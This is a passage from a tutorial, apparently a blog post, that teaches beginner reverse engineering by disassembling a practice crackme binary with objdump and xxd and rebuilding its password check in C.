Intel x86_64 (that is, AMD64) CPU architecture. Following this line are a number of sections that look like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Disassembly of section .init:&#xA;&#xA;0000000000000590 &amp;lt;_init&amp;gt;:&#xA; 590:   48 83 ec 08             sub    rsp,0x8&#xA; 594:   48 8b 05 3d 0a 20 00    mov    rax,QWORD PTR [rip+0x200a3d]        # 200fd8 &amp;lt;__gmon_start__&amp;gt;&#xA; 59b:   48 85 c0                test   rax,rax&#xA; 59e:   74 02                   je     5a2 &amp;lt;_init+0x12&amp;gt;&#xA; 5a0:   ff d0                   call   rax&#xA; 5a2:   48 83 c4 08             add    rsp,0x8&#xA; 5a6:   c3                      ret &#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Most of these are inserted by the linker immediately after compilation, and so aren&amp;rsquo;t associated with the the algorithm for checking the code. We can skip everything but the &lt;code&gt;.text&lt;/code&gt; section. It begins like this:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;Disassembly of section .text:&#xA;&#xA;00000000000005e0 &amp;lt;_start&amp;gt;:&#xA; 5e0:   31 ed                   xor    ebp,ebp&#xA; 5e2:   49 89 d1                mov    r9,rdx&#xA; 5e5:   5e                      pop    rsi&#xA; 5e6:   48 89 e2                mov    rdx,rsp&#xA; 5e9:   48 83 e4 f0             and    rsp,0xfffffffffffffff0&#xA; 5ed:   50                      push   rax&#xA; 5ee:   54                      push   rsp&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Again, this is a stub function inserted by the linker. We don&amp;rsquo;t care about anything until the &lt;code&gt;main&lt;/code&gt; function, so keep on scrolling until you see it.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;0000000000000710 &amp;lt;main&amp;gt;:&#xA; 710:   48 83 ec 08             sub    rsp,0x8&#xA; 714:   83 ff 02                cmp    edi,0x2&#xA; 717:   75 68                   jne    781 &amp;lt;main+0x71&amp;gt;&#xA; 719:   48 8b 56 08             mov    rdx,QWORD PTR [rsi+0x8]&#xA; 71d:   0f b6 02                movzx  eax,BYTE PTR [rdx]&#xA; 720:   84 c0                   test   al,al&#xA; ...&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;On the far left column, the addresses of each location are listed (in base 16). Just to the right are the raw machine code bytes, represented as hex pairs (pairs of base 16 digits). Finally, &lt;code&gt;objdump&lt;/code&gt; generates and displays the equivalent assembly to the far right.&lt;/p&gt;&#xA;&lt;p&gt;Let&amp;rsquo;s start picking apart this program. First, we see &lt;code&gt;sub rsp,0x8&lt;/code&gt;. This is moving the stack pointer down by 8, allocating space on the stack for 8 bytes worth of variables. Note that &lt;strong&gt;we don&amp;rsquo;t know anything about these variables yet&lt;/strong&gt;. These could be 8 &lt;code&gt;char&lt;/code&gt;s, or a single pointer (remember, it&amp;rsquo;s a 64-bit executable).&lt;/p&gt;&#xA;&lt;p&gt;Moving on, there&amp;rsquo;s a pretty standard jump-if condition:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;cmp    edi,0x2&#xA;jne    781&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;If you don&amp;rsquo;t know what these instructions do, you can look them up; in this case, we&amp;rsquo;re comparing (&lt;code&gt;cmp&lt;/code&gt;) the &lt;code&gt;edi&lt;/code&gt; register to the hex number 2, and then jumping if it&amp;rsquo;s not equal (&lt;code&gt;jne&lt;/code&gt;).&lt;/p&gt;&#xA;&lt;p&gt;So the question is, what&amp;rsquo;s in that register? This a Linux x86_64 executable, so we can look up the calling convention (&lt;a href=&#34;https://en.wikipedia.org/wiki/X86_calling_conventions#System_V_AMD64_ABI&#34;&gt;Wikipedia&lt;/a&gt; is your friend). It turns out that &lt;code&gt;edi&lt;/code&gt; is the lower 32 bits of the Destination Index register, which is where the first argument to a function goes. If you recall how the &lt;code&gt;main&lt;/code&gt; function is written in C, its signature is: &lt;code&gt;int main(int argc, char** argv)&lt;/code&gt;. So this is the register holding the first argument: &lt;code&gt;argc&lt;/code&gt;, the number of arguments to the program.&lt;/p&gt;&#xA;&lt;h3 id=&#34;finding-string-literals&#34;&gt;Finding String Literals&lt;/h3&gt;&#xA;&lt;p&gt;So that compare-and-jump is checking if there are exactly two arguments to the program. (Note: the first argument is the name of the program, so it&amp;rsquo;s really checking if there&amp;rsquo;s &lt;em&gt;one&lt;/em&gt; user-supplied argument.) If not, it jumps to another part of the main program, at 781:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;lea    rdi,[rip+0xbc]&#xA;call   5c0 &amp;lt;.plt.got&amp;gt;&#xA;mov    eax,0xffffffff&#xA;jmp    77c &amp;lt;main+0x6c&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, we&amp;rsquo;re loading the address (&lt;code&gt;lea&lt;/code&gt;) of a value into &lt;code&gt;rdi&lt;/code&gt; (if you remember, this is the first argument to a function) and then calling a function at address 5c0. Looking at the disassembly of that line, we see:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;5c0:   ff 25 02 0a 20 00       jmp    QWORD PTR [rip+0x200a02]        # 200fc8 &amp;lt;puts@GLIBC_2.2.5&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;&lt;code&gt;objdump&lt;/code&gt; has helpfully annotated this instruction, telling us that it is jumping into the &lt;code&gt;libc&lt;/code&gt; function &lt;code&gt;puts&lt;/code&gt;. If you look up that function, you&amp;rsquo;ll see that it takes a single argument: a pointer to a string, which is then printed to the console. So this block prints a string. But what string?&lt;/p&gt;&#xA;&lt;p&gt;To answer that, we need to see what&amp;rsquo;s being inserted into &lt;code&gt;rdi&lt;/code&gt;. If we look at that instruction, it says: &lt;code&gt;lea rdi,[rip+0xbc]&lt;/code&gt;. That means calculate the pointer to the position 0xbc ahead of the instruction pointer (which will be pointing at the next instruction) and store that address in &lt;code&gt;rdi&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;So whatever we&amp;rsquo;re printing is 0xbc bytes ahead of this instruction. We can do the math ourselves: 0x788 (next instruction) + 0xbc (offset) = 0x845.&lt;/p&gt;&#xA;&lt;p&gt;We can use another standard Unix binary tool to view the raw data from a specific offset: &lt;code&gt;xxd&lt;/code&gt;. In this case, let&amp;rsquo;s issue&#xA;&lt;code&gt;xxd -s 0x844 -l 0x40 crackme02.64&lt;/code&gt;. &lt;code&gt;-s&lt;/code&gt; is &amp;ldquo;seek&amp;rdquo; or &amp;ldquo;skip&amp;rdquo;; it makes the hexdump start at the offset we&amp;rsquo;re interested in. &lt;code&gt;-l&lt;/code&gt; is &amp;ldquo;length&amp;rdquo;; it makes the hexdump only 0x40 characters long, rather than the whole rest of the file. We see:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ xxd -s 0x844 -l 0x40 crackme02.64&#xA;00000844: 4e65 6564 2065 7861 6374 6c79 206f 6e65  Need exactly one&#xA;00000854: 2061 7267 756d 656e 742e 004e 6f2c 2025   argument..No, %&#xA;00000864: 7320 6973 206e 6f74 2063 6f72 7265 6374  s is not correct&#xA;00000874: 2e0a 0070 6173 7377 6f72 6431 0059 6573  ...password1.Yes&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;So, now we know. This block prints a string reading &amp;ldquo;Need exactly one argument.&amp;rdquo;, as you&amp;rsquo;d expect from looking at the program&amp;rsquo;s behavior when too many or too few arguments are specified.&lt;/p&gt;&#xA;&lt;h3 id=&#34;basic-flow-analysis&#34;&gt;Basic Flow Analysis&lt;/h3&gt;&#xA;&lt;p&gt;The most important part of this block is the unconditional jump at the end, which goes to address 77c:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;add    rsp,0x8&#xA;ret &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This block removes the local variables from the stack and returns. So, that&amp;rsquo;s it. If there aren&amp;rsquo;t exactly 2 strings provided to the binary - its own name and one command line argument - it will quit.&lt;/p&gt;&#xA;&lt;p&gt;We can start to write this program out in C code:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; main(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;char&lt;/span&gt;** argv){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argc != &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        puts(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Need exactly one argument.&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Magic happens here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;To find out just &lt;em&gt;what&lt;/em&gt; magic happens in that lower part of the program, we need to look at the program&amp;rsquo;s flow. Assuming the &lt;code&gt;argc&lt;/code&gt; check succeeds ( the jump at 0x717 isn&amp;rsquo;t taken), program execution proceeds into this block:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;mov    rdx,QWORD PTR [rsi+0x8]&#xA;movzx  eax,BYTE PTR [rdx]&#xA;test   al,al&#xA;je     761 &amp;lt;main+0x51&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That first instruction moves the quadword (64-bit value) at the address &lt;code&gt;[rsi+0x8]&lt;/code&gt; into &lt;code&gt;rdx&lt;/code&gt;. What&amp;rsquo;s in &lt;code&gt;rsi&lt;/code&gt;, the full 64-bit Source Index register? Turns out, that&amp;rsquo;s the &lt;em&gt;second&lt;/em&gt; argument in the Linux x86_64 calling convention. So in C, this is the value &lt;code&gt;argv + 8&lt;/code&gt; or, because &lt;code&gt;argv&lt;/code&gt; is of type &lt;code&gt;char**&lt;/code&gt;, &lt;code&gt;argv[1]&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;The next instruction moves and extends with zeroes (&lt;code&gt;movzx&lt;/code&gt;) a single byte from the memory address stored in &lt;code&gt;rdx&lt;/code&gt;; in other words, &lt;code&gt;*argv[1]&lt;/code&gt;, or &lt;code&gt;argv[1][0]&lt;/code&gt;. The Accumulator register now has all zeroes except for the last 8 bits, which contain the first byte of &lt;code&gt;argv[1]&lt;/code&gt;, the the command line argument to the program.&lt;/p&gt;&#xA;&lt;p&gt;&lt;code&gt;test al,al&lt;/code&gt; is equivalent to &lt;code&gt;cmp al, 0&lt;/code&gt;. &lt;code&gt;al&lt;/code&gt; is the lower 8 bits of the Accumulator register. Essentially, this block is equivalent to the C code:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;] == &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// do something&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;So, what&amp;rsquo;s at address 0x761? It&amp;rsquo;s the following block:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;lea    rsi,[rip+0x119]        # 881 &amp;lt;_IO_stdin_used+0x41&amp;gt;&#xA;mov    edi,0x1&#xA;mov    eax,0x0&#xA;call   5c8 &amp;lt;.plt.got+0x8&amp;gt;&#xA;mov    eax,0x0&#xA;add    rsp,0x8&#xA;ret    &#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;One of the most important skills for a reverse engineer is noticing patterns, and you should be seeing one right away. Here, the program &lt;code&gt;lea&lt;/code&gt;s a relative offset from the instruction pointer into &lt;code&gt;rsi&lt;/code&gt; and then calls a function.&lt;/p&gt;&#xA;&lt;p&gt;That function is, according to the same technique used above, &lt;code&gt;printf&lt;/code&gt;. &lt;code&gt;printf&lt;/code&gt; takes a format string and a variable number of arguments. All variadic functions need the Accumulator register to hold a value telling them how many arguments to look for in the FPU registers (in this case, none, as we can see from the &lt;code&gt;mov eax, 0x0&lt;/code&gt; instruction). The &lt;code&gt;rdx&lt;/code&gt; register already holds the pointer &lt;code&gt;argv[1]&lt;/code&gt;, so that&amp;rsquo;s the second argument.&lt;/p&gt;&#xA;&lt;p&gt;So what&amp;rsquo;s the format string? We use the same technique as before, but this time I didn&amp;rsquo;t take out the comment that &lt;code&gt;objdump&lt;/code&gt; added in where it did the math for us.&lt;/p&gt;&#xA;&lt;p&gt;So, running &lt;code&gt;xxd -s 0x881 -l 0x40 crackme02.64&lt;/code&gt; gives us the answer: the format string here is &lt;code&gt;Yes, %s is correct!&lt;/code&gt;. This looks promising!&#xA;Additionally, we can see that, after the function call (at 0x77c; this is a useful address to remember), the space for local variables is removed from the stack, and the function returns. The return value is always placed in the Accumulator, so here the program returns a zero; success!&lt;/p&gt;&#xA;&lt;p&gt;So, our C code looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; main(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;char&lt;/span&gt;** argv){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argc != &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        puts(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Need exactly one argument.&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;] == &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Yes, %s is correct.&amp;#34;&lt;/span&gt;, argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Magic happens here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;All we have to to is provide a string whose first byte is 0; that is, the empty string:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code&gt;$ ./crackme02.64 &amp;#34;&amp;#34;&#xA;Yes,  is correct!&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;In a certain sense, we&amp;rsquo;re done, but it is instructive to look at the remainder of the code. Let&amp;rsquo;s move on.&lt;/p&gt;&#xA;&lt;p&gt;If that check fails, the code goes to this block (at 0x724):&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;cmp    al,0x6f&#xA;jne    794 &amp;lt;main+0x84&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Recall that, since we&amp;rsquo;re working from the assumption of that jump to success not being taken, &lt;code&gt;al&lt;/code&gt; has &lt;code&gt;argv[1][0]&lt;/code&gt; in it still. Here, we&amp;rsquo;re checking if it&amp;rsquo;s not equal to 0x6f (111 in decimal; &amp;lsquo;o&amp;rsquo; in ASCII). If so, we jump to address 0x794.&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;lea    rsi,[rip+0xc4]        # 85f &amp;lt;_IO_stdin_used+0x1f&amp;gt;&#xA;mov    edi,0x1&#xA;mov    eax,0x0&#xA;call   5c8 &amp;lt;.plt.got+0x8&amp;gt;&#xA;mov    eax,0x1&#xA;jmp    77c &amp;lt;main+0x6c&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is another print-and-return block; that unconditional jump (&lt;code&gt;jmp&lt;/code&gt;) at the end jumps to 0x77c, where the program removes its stack space for local variables and returns.&lt;/p&gt;&#xA;&lt;p&gt;Rather than printing the success message, this block prints &amp;ldquo;No, %s is not correct.&amp;rdquo; formatted with the command line argument, and then returns a failure code (1). &lt;strong&gt;We now know, for sure, that the correct message starts with the letter &amp;lsquo;o&amp;rsquo;&lt;/strong&gt;, because without it, there&amp;rsquo;s an automatic fail condition.&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; main(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;char&lt;/span&gt;** argv){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argc != &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        puts(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Need exactly one argument.&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;] == &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Yes, %s is correct.&amp;#34;&lt;/span&gt;, argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;] != &lt;span style=&#34;color:#800080&#34;&gt;&amp;#39;o&amp;#39;&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        printf(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;No, %s is not correct.&amp;#34;&lt;/span&gt;, argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;]);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; &lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#080;font-style:italic&#34;&gt;// Magic happens here&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}&#xA;&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Assuming that jump is &lt;em&gt;not&lt;/em&gt; taken, we go on to this code, at 0x728:&lt;/p&gt;&#xA;&lt;pre tabindex=&#34;0&#34;&gt;&lt;code class=&#34;language-x86asm&#34; data-lang=&#34;x86asm&#34;&gt;mov    esi,0x1&#xA;mov    eax,0x61&#xA;mov    ecx,0x1&#xA;lea    rdi,[rip+0x139]        # 877 &amp;lt;_IO_stdin_used+0x37&amp;gt;&#xA;movzx  ecx,BYTE PTR [rdx+rcx*1]&#xA;test   cl,cl&#xA;je     761 &amp;lt;main+0x51&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Here, we load up some registers with constants, and then load a pointer into &lt;code&gt;rdi&lt;/code&gt;. That pointer is to the string &amp;ldquo;password1&amp;rdquo;. But we know this isn&amp;rsquo;t the right password. So what&amp;rsquo;s going on?&lt;/p&gt;&#xA;&lt;p&gt;The next instruction places the byte at the address &lt;code&gt;rdx + rcx&lt;/code&gt;. What&amp;rsquo;s in &lt;code&gt;rdx&lt;/code&gt;? Well, if we backtrack to 0x719, we see that it was loaded with the value at &lt;code&gt;rsi + 0x8&lt;/code&gt;; a.k.a. &lt;code&gt;argv[1]&lt;/code&gt;. So we&amp;rsquo;re indexing into that string here; &lt;code&gt;ecx&lt;/code&gt; = &lt;code&gt;argv[1][1]&lt;/code&gt;.&lt;/p&gt;&#xA;&lt;p&gt;Again, the most important skill for reverse engineering is recognizing patterns. Here&amp;rsquo;s a common one we saw above: &lt;code&gt;test&lt;/code&gt;ing a register against itself, followed by a &lt;code&gt;je&lt;/code&gt;, means &amp;ldquo;jump if that register is zero&amp;rdquo;.&lt;/p&gt;&#xA;&lt;p&gt;So, if there&amp;rsquo;s a zero at &lt;code&gt;argv[1][1]&lt;/code&gt;, we jump to 0x761. Where is that? It&amp;rsquo;s the block we just reversed above; it prints the success string and exits with the return code of 0. Our pseudocode looks like this:&lt;/p&gt;&#xA;&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;background-color:#fff;-moz-tab-size:4;-o-tab-size:4;tab-size:4;-webkit-text-size-adjust:none;&#34;&gt;&lt;code class=&#34;language-c&#34; data-lang=&#34;c&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; main(&lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;int&lt;/span&gt; argc, &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;char&lt;/span&gt;** argv){&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argc != &lt;span style=&#34;color:#00f&#34;&gt;2&lt;/span&gt;) {&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        puts(&lt;span style=&#34;color:#00f&#34;&gt;&amp;#34;Need exactly one argument.&amp;#34;&lt;/span&gt;);&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;        &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;return&lt;/span&gt; -&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    }&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;&#xA;&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#000080;font-weight:bold&#34;&gt;if&lt;/span&gt; (argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt;] == &lt;span style=&#34;color:#00f&#34;&gt;0&lt;/span&gt; || argv[&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;][&lt;span style=&#34;color:#00f&#34;&gt;1&lt;/span&gt;] 